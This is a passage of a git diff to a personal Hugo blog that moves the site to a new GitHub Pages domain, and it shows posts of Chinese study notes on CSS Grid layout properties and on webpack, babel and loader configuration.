href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Grid布局学习笔记</h1><div class=post-meta><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Grid%e5%b8%83%e5%b1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>grid 布局</p><p>grid布局和flex布局类似，不过grid是最强大的css布局方式</p><p>grid布局是网格布局</p><p>display: grid; // 定义grid布局，默认为块级元素</p><p>display: inline-grid // 设置为行内元素</p><p>设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效</p><p>列宽和行高的设置</p><p>grid-template-columns: 100px; // 列宽</p><p>grid-template-rows: 100px; // 行高</p><p>数值也支持百分比</p><p>grid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的</p><p>grid-template-columns: 100px 100px 100px;</p><p>grid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px</p><p>grid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍</p><p>grid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px</p><p>grid-template-rows: auto; // 由浏览器决定行高</p><p>grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称</p><p>grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳</p><p>grid-row-gap: 10px; // 行间距（行与行的距离）</p><p>grid-column-gap: 10px; // 列间距（列与列的距离）</p><p>可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值</p><hr><p>grid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上</p><p>grid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上</p><p>grid-row-end: 2; // 指定横跨第几行，这里指定的是第二行</p><p>grid-column-end: 2; // 指定横跨第几列，这里指定的是第二列</p><p>上面的属性默认为auto，可以简写为下面的</p><p>指定项目放在哪个区域</p><p>grid-area: b; // 指定该项目放在b区域</p><p>grid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列</p><p>span关键字是跨域的意思，指的是跨域多少个网格</p><hr><p>grid-template-areas: &ldquo;a b c&rdquo;; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示</p><p>grid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row</p><p>如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放</p><p>grid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙</p><p>grid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙</p><hr><p>设置单元格内容的位置</p><p>justify-items: centet; // 水平位置，内容居中</p><p>align-items: centet; // 垂直位置，内容居中</p><p>stretch：拉伸，占满整个单元格的宽度（默认值）
 start：对齐单元格的起始位置
 end：对齐单元格的结束位置
-center：单元格内容居中</p><p>可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值</p><p>设置单个项目的位置</p><p>justify-self: center; // 设置单个项目在网格中的水平方向位置，居中</p><p>align-self: center; // 设置单个项目在网格中的垂直方向位置，居中</p><p>和justify-items，align-items类似，只是作用于单个项目</p><p>可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值</p><p>设置网格在容器的位置</p><p>justify-content: center; // 网格在容器水平方向为居中</p><p>align-content: center; // 网格在容器垂直方向为居中</p><p>属性值和上面的类似</p><p>space-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍</p><p>space-between // 项目和项目之间距离相等，项目和容器没有间隔</p><p>space-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔</p><p>可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值</p><hr><p>如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽</p><p>grid-auto-columns: 100px; // 多余网格的行高为100px</p><p>grid-auto-rows: 100px; // 多余网格的列宽为100px</p><hr><p>项目属性定位</p><p>grid-column-start: 2; // 左边框在第二个项目的垂直线上</p><p>grid-column-end: 3; // 右边框在第三个项目的垂直线上</p><p>grid-row-start: 2; // 上边距在第二个项目的水平线上</p><p>grid-row-end: 3; // 下边距在第三个项目的水平线上</p><p>除了设置项目的定位外，还可以设置网格线的名称</p><p>grid-column-start: main-start;</p><p>可以简写为</p><p>grid-column: 2 / 3;</p><p>grid-row: 2 / 3;</p><p>效果和上面一样</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/47/><span class=title>« Prev</span><br><span>webpack学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/44/><span class=title>Next »</span><br><span>css的一些知识扩展</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+center：单元格内容居中</p><p>可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值</p><p>设置单个项目的位置</p><p>justify-self: center; // 设置单个项目在网格中的水平方向位置，居中</p><p>align-self: center; // 设置单个项目在网格中的垂直方向位置，居中</p><p>和justify-items，align-items类似，只是作用于单个项目</p><p>可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值</p><p>设置网格在容器的位置</p><p>justify-content: center; // 网格在容器水平方向为居中</p><p>align-content: center; // 网格在容器垂直方向为居中</p><p>属性值和上面的类似</p><p>space-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍</p><p>space-between // 项目和项目之间距离相等，项目和容器没有间隔</p><p>space-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔</p><p>可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值</p><hr><p>如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽</p><p>grid-auto-columns: 100px; // 多余网格的行高为100px</p><p>grid-auto-rows: 100px; // 多余网格的列宽为100px</p><hr><p>项目属性定位</p><p>grid-column-start: 2; // 左边框在第二个项目的垂直线上</p><p>grid-column-end: 3; // 右边框在第三个项目的垂直线上</p><p>grid-row-start: 2; // 上边距在第二个项目的水平线上</p><p>grid-row-end: 3; // 下边距在第三个项目的水平线上</p><p>除了设置项目的定位外，还可以设置网格线的名称</p><p>grid-column-start: main-start;</p><p>可以简写为</p><p>grid-column: 2 / 3;</p><p>grid-row: 2 / 3;</p><p>效果和上面一样</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/47/><span class=title>« Prev</span><br><span>webpack学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/44/><span class=title>Next »</span><br><span>css的一些知识扩展</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/47/index.html b/posts/47/index.html
index 14fe21fb..42308bfc 100644
--- a/posts/47/index.html
+++ b/posts/47/index.html
@@ -15,8 +15,8 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: '入口文件的路径',
output: {
path:__dirname,
filename: '最后输出到哪个文件的文件名'
},
module: {
rules: [{
test: '处理什么格式的文件',
use:[
{
loader: '依赖包'
}
]
}
]
}
};
模块化"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/47/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="webpack学习笔记"><meta property="og:description" content="webpack作为模块加载和打包神器
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/47/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="webpack学习笔记"><meta property="og:description" content="webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -33,7 +33,7 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: '入口文件的路径',
output: {
path:__dirname,
filename: '最后输出到哪个文件的文件名'
},
module: {
rules: [{
test: '处理什么格式的文件',
use:[
{
loader: '依赖包'
}
]
}
]
}
};
模块化"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/47/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-24T10:11:00+00:00"><meta property="article:modified_time" content="2021-06-24T10:11:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="webpack学习笔记"><meta name=twitter:description content="webpack作为模块加载和打包神器
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/47/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-24T10:11:00+00:00"><meta property="article:modified_time" content="2021-06-24T10:11:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="webpack学习笔记"><meta name=twitter:description content="webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -50,51 +50,51 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
entry: '入口文件的路径',
output: {
path:__dirname,
filename: '最后输出到哪个文件的文件名'
},
module: {
rules: [{
test: '处理什么格式的文件',
use:[
{
loader: '依赖包'
}
]
}
]
}
};
模块化"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"webpack学习笔记","item":"https://xiaochenabc123.github.io/posts/47/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"webpack学习笔记","name":"webpack学习笔记","description":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = {\rentry: '入口文件的路径',\routput: {\rpath:__dirname,\rfilename: '最后输出到哪个文件的文件名'\r},\rmodule: {\rrules: [{\rtest: '处理什么格式的文件',\ruse:[\r{\rloader: '依赖包'\r}\r]\r}\r]\r}\r};\r模块化","keywords":["webpack"],"articleBody":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是–save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\"!style-loader!css-loader!./abc.css\"); document.write(require(\"./C.js\"));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = {\rentry: '入口文件的路径',\routput: {\rpath:__dirname,\rfilename: '最后输出到哪个文件的文件名'\r},\rmodule: {\rrules: [{\rtest: '处理什么格式的文件',\ruse:[\r{\rloader: '依赖包'\r}\r]\r}\r]\r}\r};\r模块化\nimport $ from “jquery” // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖\nloader加载器打包非js模块，比如：\nless-loader：打包.less相关文件\nsass-loader：打包.scss相关文件\nurl-loader：打包处理css中与url路径相关的文件\nwebpack打包处理过程：\n先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错\n如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错\n加载器的使用\nnpm i style-loader css-loader -D // 安装处理css文件的loader\n在webpack.config.js的module -\u003e rules数组中，添加loader规则，例如：\nmodule: {\rrules: [\r{\rtest: /\\.css$/, use: [\"style-loader\",\"css-loader\"]\r}\r]\r}\r注意：\ntest表示匹配的文件类型，use表示要调用的loader\nuse数组中指定的loader顺序是固定的，调用顺序是从后往前调用的\nless loader\nnpm i less-loader less -D\ntest: /.less$/, use: [“style-loader”,“css-loader”,“less-loader”]\n先把less解析为css文件，然后再解析css文件\nscss loader\nnpm i sass-loader node-sass -D\ntest: /.scss$/, use: [“style-loader”,“css-loader”,“sass-loader”]\n打包样式表的图片和字体\nnpm i url-loader file-loader -D\ntest: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: “url-loader?limit=1024”\nlimit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片\n打包js高级语法\n安装babel转换器相关的包\nnpm i babel-loader @babel/core @babel/runtime -D\n安装babel语法插件相关的包\nnpm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D\n配置babel.config.js并初始化\nmodule.exports = {\rpresets: [\"@babel/preset-env\"],\rplugins: [\"@babel/plugin-transform-runtime\",\"@babel/plugin-proposal-properties\"]\r}\r配置webpack.config.js\ntest: /.js$/, use: “babel-loader”, exclude: /node_modules/\nexcludes是排除项，表示babel-loader不需要处理node_modules中的js文件\n配置postCSS，自动添加css兼容性\nnpm i postcss-loader autoprefixer -D\n配置postcss.config.js，并且初始化\nconst autoprefixer = require(\"autoprefixer\") // 导入插件\rmodule.exports = {\rplugins: [autoprefixer] // 加载插件\r}\r配置webpack.config.js\ntest: /.css$/, use: [“style-loader”,“css-loader”,“postcss-loader”]\n导入vue单文件组件\nimport App from “./App.vue”\n安装处理vue单文件的loader\nnpm i vue-loader vue-template-compile -D\n添加loader配置文件\n处理vue文件的loader需要VueLoaderPlugin插件\nconst VueLoaderPlugin = require(\"vue-loader/lib/plugin\");\rtest: /\\.vue$/, loader: \"vue-loader\"\rplugins: [\rnew VueLoaderPlugin()\r]\rwebpack dev-Server和proxy代理\nloaders及plugins的处理\nresolve/sourceMap\nwebpack性能优化（TreeShaking，热更新）\n具体请看webpack官方文档\n","wordCount":"233","inLanguage":"en","datePublished":"2021-06-24T10:11:00Z","dateModified":"2021-06-24T10:11:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/47/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>webpack学习笔记</h1><div class=post-meta><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/webpack%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>webpack作为模块加载和打包神器</p><p>安装node就有npm了，用npm安装webpack</p><p>npm i webpack webpack-cli -g 安装全局的webpack</p><p>到项目目录下，npm init -y 初始化模块</p><p>npm i webpack webpack-cli -D 安装项目局部的webpack，-D是&ndash;save-dev的意思，推荐使用</p><p>webpack 入口文件名 最后输出到哪个文件的文件名，例如：</p><p>npx webpack A.js B.js</p><p>那么就会编译A.js，输出到B.js</p><p>webpack只能处理JavaScript，处理其他类型的文件，需要安装几个包</p><p>npm install css-loader style-loader</p><p>假设有个一个abc.css文件，里面定好了样式</p><p>那么修改A.js</p><p>require("!style-loader!css-loader!./abc.css");
-document.write(require("./C.js"));</p><p>再打包一次</p><p>npx webpack A.js B.js</p><p>会出现一个C.js</p><p>配置webpack.config.js</p><pre><code>module.exports = {
-    entry: '入口文件的路径',
-    output: {
-        path:__dirname,
-        filename: '最后输出到哪个文件的文件名'
-    },
-    module: {
-        rules: [{
-            test: '处理什么格式的文件',
-            use:[
-              {
-                loader: '依赖包'
-              }
-            ]
-          }
-        ]
-    }
-};
-</code></pre><hr><p>模块化</p><p>import $ from &ldquo;jquery&rdquo; // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖</p><p>loader加载器打包非js模块，比如：</p><p>less-loader：打包.less相关文件</p><p>sass-loader：打包.scss相关文件</p><p>url-loader：打包处理css中与url路径相关的文件</p><p>webpack打包处理过程：</p><p>先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错</p><p>如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错</p><p>加载器的使用</p><p>npm i style-loader css-loader -D // 安装处理css文件的loader</p><p>在webpack.config.js的module -> rules数组中，添加loader规则，例如：</p><pre><code>module: {
-    rules: [
-        {
-            test: /\.css$/, use: [&quot;style-loader&quot;,&quot;css-loader&quot;]
-        }
-    ]
-}
-</code></pre><p>注意：</p><p>test表示匹配的文件类型，use表示要调用的loader</p><p>use数组中指定的loader顺序是固定的，调用顺序是从后往前调用的</p><hr><p>less loader</p><p>npm i less-loader less -D</p><p>test: /.less$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;less-loader&rdquo;]</p><p>先把less解析为css文件，然后再解析css文件</p><p>scss loader</p><p>npm i sass-loader node-sass -D</p><p>test: /.scss$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;sass-loader&rdquo;]</p><hr><p>打包样式表的图片和字体</p><p>npm i url-loader file-loader -D</p><p>test: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: &ldquo;url-loader?limit=1024&rdquo;</p><p>limit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片</p><hr><p>打包js高级语法</p><p>安装babel转换器相关的包</p><p>npm i babel-loader @babel/core @babel/runtime -D</p><p>安装babel语法插件相关的包</p><p>npm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D</p><p>配置babel.config.js并初始化</p><pre><code>module.exports = {
-    presets: [&quot;@babel/preset-env&quot;],
-    plugins: [&quot;@babel/plugin-transform-runtime&quot;,&quot;@babel/plugin-proposal-properties&quot;]
-}
